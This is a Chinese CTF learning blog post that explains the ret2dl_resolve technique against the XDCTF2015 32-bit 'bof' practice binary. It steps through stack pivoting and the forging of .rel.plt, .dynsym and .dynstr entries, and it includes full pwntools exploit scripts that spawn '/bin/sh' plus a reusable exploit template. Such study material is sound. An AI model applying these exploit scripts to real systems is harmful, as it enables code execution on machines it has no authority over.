前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >ROP-Ret2dl_resolve学习(2)

ROP-Ret2dl_resolve学习(2)

作者头像
偏有宸机
发布2020-11-04 10:19:48
3620
发布2020-11-04 10:19:48
举报
文章被收录于专栏:宸机笔记

时隔多天…终于把利用的原理也给搞明白了,上一篇只是说到dl_runtime_resolve的基础知识,这里就演示一下整个函数重定向攻击的流程

知识储备

源码

代码语言:javascript
复制
#include <unistd.h>
#include <stdio.h>
#include <string.h>
void vuln()
{
    char buf[100];
    setbuf(stdin, buf);
    read(0, buf, 256);
}
int main()
{
    char buf[100] = "Welcome to XDCTF2015~!\n";
    setbuf(stdout, buf);
    write(1, buf, strlen(buf));
    vuln();
    return 0;
}
//gcc -m32 -fno-stack-protector -no-pie -s bof.c -o bof

利用思路

  1. 劫持eip到PLT0的地址,向_dl_fixup传参
    • 只需能传递index_arg参数
  2. 控制index_arg的大小,使是程序引向伪造的rel.plt位置
    • index_arg指向Elf32_Rel->r_info
  3. 伪造rel.plt的内容,使reloc引向伪造的dynsym位置
    • r_info指向Elf32_Rel->st_name
  4. 伪造dynsym的内容,使dynsym引向伪造的dynstr位置
    • st_name指向dynstr
  5. 伪造dynstr为任意库函数,如system
    • 向伪造的栈中写入write

攻击流程

利用Stack Pivot转移栈

先将栈转移到我们伪造的栈中,然后执行其中内容

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
offset = 112*"a"
read_plt = elf.plt['read']
write_plt = elf.plt['write']
ppp_ret = 0x080492d9# pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db
leave_ret = 0x08049105
stack_size = 0x800#在bss段伪造栈空间
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
payload = offset
payload += p32(read_plt)
payload += p32(ppp_ret)#在函数结束后释放read的三个参数,保持栈平衡
payload += p32(0)
payload += p32(base_stage)
payload += p32(100)
payload += p32(pop_ebp_ret)#把伪造的栈地址放到ebp中,勾引esp
payload += p32(base_stage)  
payload += p32(leave_ret)#将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
io.recvuntil("!\n")
io.sendline(payload)
#stage1--控制EIP进行栈转移,跳到指定的bss段
cmd = "/bin/sh"
payload2 = "bbbb"#接上上一步的leave中的pop ebp;ret
payload2 += p32(write_plt)
payload2 += "cccc"#write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))#write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
io.sendline(payload2)
io.interactive()

这是一个简单的在伪造的栈内执行write进行输出的过程,下面继续

劫持reloc_arg

为了找到.rel.plt,控制EIP跳转到PLT[0],然后将我们伪造的index_offset压入函数执行

PLT[0]**处的汇编指令**

write@plt**的汇编指令**

代码语言:javascript
复制
...
plt_0 = 0x08049020                #readelf -S bof|grep ".plt"
index_offset = 0x20               #write的reloc_arg objdump -d -j .plt bof 
cmd = "/bin/sh"
payload2 = "bbbb"                 #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0)            #跳转到plt_01
payload2 += p32(index_offset)     #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc"                #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))         #write函数输出的长度
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd                   #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.rel.plt

由于dl_fixup函数内是根据距离reloc_arg的偏移来确定rel.plt表位置的

所以这里只要劫持index_info,就可以让程序指向我们伪造的.rel.plt表

代码语言:javascript
复制
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020               #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364               #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt_0:0x%x",plt_0)
success("rel_Plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write']      #Elf32_rel->r_offset
r_info = 0x607                    #Elf32_rel->r_info
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
cmd = "/bin/sh"
payload2 = "bbbb"                 #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0)            #跳转到plt_01
payload2 += p32(index_offset)     #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc"                #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))         #write函数输出的长度
payload2 += fake_reloc            #[base_stage+28]便是这里,即 4*7=28
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd                  #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.dynsym

伪造.dynsym使.dynsym->st_name指向伪造的.dynstr

先看一下在IDA中.dynsym的结构

代码语言:javascript
复制
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020               #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364               #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write']      #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36   #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7   #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = 0x4c#[write字符串地址-dynstr] ROPgadget --binary ./bof --string "write"
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb"                 #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0)            #跳转到plt_01
payload2 += p32(index_offset)     #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc"                #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))         #write函数输出的长度
payload2 += fake_reloc            #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align             #填补上之前未达到0x10的段
payload2 += fake_sym              #[base_stage+36]伪造的synsym表
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd                   #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

伪造.dynstr

伪造.dynstr使.dynsym->st_name指向我们自己输入的write

代码语言:javascript
复制
...
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020               #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364               #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write']      #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36   #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7   #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh"
payload2 = "bbbb"                 #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0)            #跳转到plt_01
payload2 += p32(index_offset)     #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc"                #write的返回地址,因为不需要了随便填
payload2 += p32(1)
payload2 += p32(base_stage + 80)
payload2 += p32(len(cmd))         #write函数输出的长度
payload2 += fake_reloc            #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align             #填补上之前未达到0x10的段
payload2 += fake_sym              #[base_stage+36]伪造的synsym表
payload2 += "write\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd                  #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

到这里因该就能明了这一系列操作是怎么实现的了,接下来直接更换st_name和参数

伪造system的.dynstr

伪造.dynstr使.dynsym->st_name指向伪造的其他函数如system

代码语言:javascript
复制
##stage5--伪造.dynstr使.dynsym->st_name指向我们自己输入的system
plt_0 = elf.get_section_by_name('.plt').header.sh_addr
#plt_0 = 0x08049020               #readelf -S bof|grep ".plt"
rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
#rel_plt = 0x0848364               #readelf -S bof|grep ".rel"
###这里有一点很迷惑,两个结果都一样,但是我自己输入的地址怎么也不能重定向,自动搜索的就可以
success("plt[0]:0x%x",plt_0)
success(".rel.plt:0x%x",rel_plt)
index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
write_got = elf.got['write']      #Elf32_rel->r_offset
dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
success("dynsym:0x%x",dynsym)
success("dynstr:0x%x",dynstr)
fake_sym_addr = base_stage + 36   #4*9=36
align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
fake_sym_addr = fake_sym_addr + align#因为Elf32_sym结构体都是0x10对齐的
#这里对上面的payload进行按位与运算,计算出距0x10还差多少
index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
r_info = (index_dynsym <<8)|0x7   #Elf32_rel->r_info,如0x607因为会验证索引末尾是否为07,所以修改后8位数据
#这里将index_dynsym末尾追加8位,并将0x7填充到后8位上
fake_reloc = p32(write_got)+p32(r_info)#fake_reloc即伪造的.rel.plt表
st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,该结构处可参考IDA中的ELF Symbol Table表
cmd = "/bin/sh\x00"
payload2 = "bbbb"                 #接上上一步的leave中的pop ebp;ret
payload2 += p32(plt_0)            #跳转到plt_01
payload2 += p32(index_offset)     #push 0x20压入参数,dl_fixup->reoc_arg
payload2 += "cccc"                #write的返回地址,因为不需要了随便填
payload2 += p32(base_stage + 80)
payload2 += "gggg"                #由于前面的pop esi ; pop edi ; pop ebp ; ret原因
payload2 += "hhhh"                #这里必须要凑齐三个参数,随便填即可   
payload2 += fake_reloc            #[base_stage+28]伪造的.rel.plt表,即 4*7=28
payload2 += "f"*align             #填补上之前未达到0x10的段
payload2 += fake_sym              #[base_stage+36]伪造的synsym表
payload2 += "system\x00"
payload2 += "d"*(80-len(payload2))#填充满80字节
payload2 += cmd                   #[base_stage+80] 的地址
payload2 += "e"*(100-len(payload2))
#gdb.attach(io)
io.sendline(payload2)
io.interactive()

到这里就彻底完成了函数重定位攻击的所有流程,ret2dlresolve可以说是我学PWN以来最认真的、耗时最长、注释最多(基本上每行一注释简直让人头皮发麻…)的一个了,看着下面返回的shell真的是深感欣慰…

EXP模板

代码语言:javascript
复制
#coding:utf-8
from pwn import *
context.terminal = ['tmux','splitw','-h']
context.log_level = 'debug'
io = process("./bof")
elf = ELF('./bof')
def stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret):
    payload = offset
    payload += p32(input_plt)+p32(ppp_ret)
    payload += p32(0)
    payload += p32(base_stage)
    payload += p32(100)
    payload += p32(pop_ebp_ret)
    payload += p32(base_stage)  
    payload += p32(leave_ret)
    io.recvuntil("!\n")
    io.sendline(payload)
def ret2dl(f_sym,fake_synstr,arg_1,arg_2,arg_3):
    plt_0 = elf.get_section_by_name('.plt').header.sh_addr
    #plt_0 = 0x08049020               #readelf -S bof|grep ".plt"
    rel_plt = elf.get_section_by_name('.rel.plt').header.sh_addr
    dynsym = elf.get_section_by_name('.dynsym').header.sh_addr
    dynstr = elf.get_section_by_name('.dynstr').header.sh_addr
    success("plt[0]:0x%x",plt_0)
    success(".rel.plt:0x%x",rel_plt)
    success("dynsym:0x%x",dynsym)
    success("dynstr:0x%x",dynstr)
    index_offset = (base_stage+28)-rel_plt#指向fake_reloc,再减去rel_plt的地址便是函数的偏移
    f_sym = elf.got[f_sym]      #Elf32_rel->r_offset
    fake_sym_addr = base_stage + 36   
    align = 0x10 - ((fake_sym_addr - dynsym)&0xf)
    fake_sym_addr = fake_sym_addr + align#数据对齐 因为Elf32_sym结构体都是0x10对齐的
    index_dynsym = (fake_sym_addr - dynsym)/0x10#以每0x10的距离为一段,计算出write在dynsym中的索引
    r_info = (index_dynsym <<8)|0x7   #Elf32_rel->r_info
    fake_reloc = p32(f_sym)+p32(r_info)#fake_reloc即伪造的.rel.plt表
    st_name = (fake_sym_addr+0x10)-dynstr#在fake_sym后面0x10存放字符串,然后得到它的偏移量,即伪造的.dynstr
    fake_sym = p32(st_name)+p32(0)+p32(0)+p32(0x12)#伪造的.synsym,st_name指向[base_stage+36+0x10]
    payload2 = "bbbb" + p32(plt_0) + p32(index_offset) + p32(0) #接上上一步的leave中的pop ebp;ret
    payload2 += p32(base_stage + 80) + p32(arg_2) + p32(arg_3)#使用system的参数
    payload2 += fake_reloc + ("f"*align) #[base_stage+28].rel.plt表
    payload2 += fake_sym              #[base_stage+36].synsym表
    payload2 += fake_synstr           #[base_stage+36+0x10].synstr表
    payload2 += "d"*(80-len(payload2))
    payload2 += arg_1             #[base_stage+80] /bin/sh
    payload2 += "e"*(100-len(payload2)) 
    #gdb.attach(io)
    io.sendline(payload2)
    io.interactive()

offset = 112*"a"
input_plt = elf.plt['read']         #input函数,这里使用read
ppp_ret = 0x080492d9                # pop esi ; pop edi ; pop ebp ; ret
pop_ebp_ret = 0x080492db            #把伪造的栈地址放到ebp中,勾引esp
leave_ret = 0x08049105              #将ebp转交给esp以扩充栈指针,再释放掉ebp。详情查阅Stack-pivot
stack_size = 0x800
bss_addr = elf.bss()
base_stage = bss_addr+stack_size
success("base_stage:0x%x",base_stage)
system_str = "system\x00"
binsh_str = "/bin/sh\x00"
stack_pivot(offset,base_stage,input_plt,ppp_ret,pop_ebp_ret,leave_ret)
ret2dl("write",system_str,binsh_str,0,0)

结尾

收获总结

  • ELF文件结构
  • 栈平衡
  • 栈转移
  • 函数重定位攻击
  • 对GDB调试更加熟练
  • 以及Python神奇的按位与运算和补位操作

学习链接

本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2020-02-25,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 知识储备
  • 源码
  • 利用思路
  • 攻击流程
    • 利用Stack Pivot转移栈
      • 劫持reloc_arg
        • 伪造.rel.plt
          • 伪造.dynsym
            • 伪造.dynstr
              • 伪造system的.dynstr
                • 收获总结
                • 学习链接
            • EXP模板
            • 结尾
            领券
            问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档